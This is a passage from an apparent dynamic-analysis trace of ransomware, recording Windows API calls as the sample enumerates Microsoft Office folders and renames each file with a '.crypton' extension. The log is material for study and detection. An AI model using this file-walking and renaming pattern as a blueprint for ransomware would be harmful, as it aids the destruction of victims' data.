Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif.crypton"), dwFlags=0x2) returned 1 [0089.832] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif.crypton"), dwFlags=0x2) returned 1 [0089.834] GetFileType (hFile=0x1a8) returned 0x1 [0089.838] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2e8ba20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2e8ba20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.839] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.841] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.845] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css.crypton"), dwFlags=0x2) returned 1 [0089.849] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css.crypton"), dwFlags=0x2) returned 1 [0089.856] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2eb1b80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2eb1b80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.863] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\background.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\background.gif.crypton"), dwFlags=0x2) returned 1 [0089.865] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.867] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.872] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css.crypton"), dwFlags=0x2) returned 1 [0089.877] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2ed7ce0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2ed7ce0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.879] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png.crypton"), dwFlags=0x2) returned 1 [0089.883] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Document.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\document.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Document.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\document.gif.crypton"), dwFlags=0x2) returned 1 [0089.889] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Generic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\generic.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Generic.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\generic.gif.crypton"), dwFlags=0x2) returned 1 [0089.891] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png.crypton"), dwFlags=0x2) returned 1 [0089.894] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Main.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\main.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Main.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\main.gif.crypton"), dwFlags=0x2) returned 1 [0089.898] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Person.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\person.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Person.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\person.gif.crypton"), dwFlags=0x2) returned 1 [0089.902] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Response.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\response.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Response.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\response.gif.crypton"), dwFlags=0x2) returned 1 [0089.909] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css.crypton"), dwFlags=0x2) returned 1 [0089.911] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css.crypton"), dwFlags=0x2) returned 1 [0089.914] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css.crypton"), dwFlags=0x2) returned 1 [0089.916] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css.crypton"), dwFlags=0x2) returned 1 [0089.918] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css.crypton"), dwFlags=0x2) returned 1 [0089.923] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2f4a100, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2f4a100, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.925] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\button.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\BUTTON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\button.gif.crypton"), dwFlags=0x2) returned 1 [0089.927] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.929] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.933] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css.crypton"), dwFlags=0x2) returned 1 [0089.937] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css.crypton"), dwFlags=0x2) returned 1 [0089.942] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2f70260, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2f70260, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.944] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\background.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\background.gif.crypton"), dwFlags=0x2) returned 1 [0089.949] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\header.gif.crypton"), dwFlags=0x2) returned 1 [0089.952] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.954] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.958] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css.crypton"), dwFlags=0x2) returned 1 [0089.964] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2fbc520, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2fbc520, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.966] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\background.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\background.gif.crypton"), dwFlags=0x2) returned 1 [0089.983] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\header.gif.crypton"), dwFlags=0x2) returned 1 [0089.986] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.988] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.994] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css.crypton"), dwFlags=0x2) returned 1 [0089.998] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css.crypton"), dwFlags=0x2) returned 1 [0090.001] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css.crypton"), dwFlags=0x2) returned 1 [0090.005] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css.crypton"), dwFlags=0x2) returned 1 [0090.016] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one.crypton"), dwFlags=0x2) returned 1 [0090.021] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css.crypton"), dwFlags=0x2) returned 1 [0090.028] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css.crypton"), dwFlags=0x2) returned 1 [0090.032] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml.crypton"), dwFlags=0x2) returned 1 [0090.035] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml.crypton"), dwFlags=0x2) returned 1 [0090.090] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat.crypton"), dwFlags=0x2) returned 1 [0090.097] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h.crypton"), dwFlags=0x2) returned 1 [0090.102] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css.crypton"), 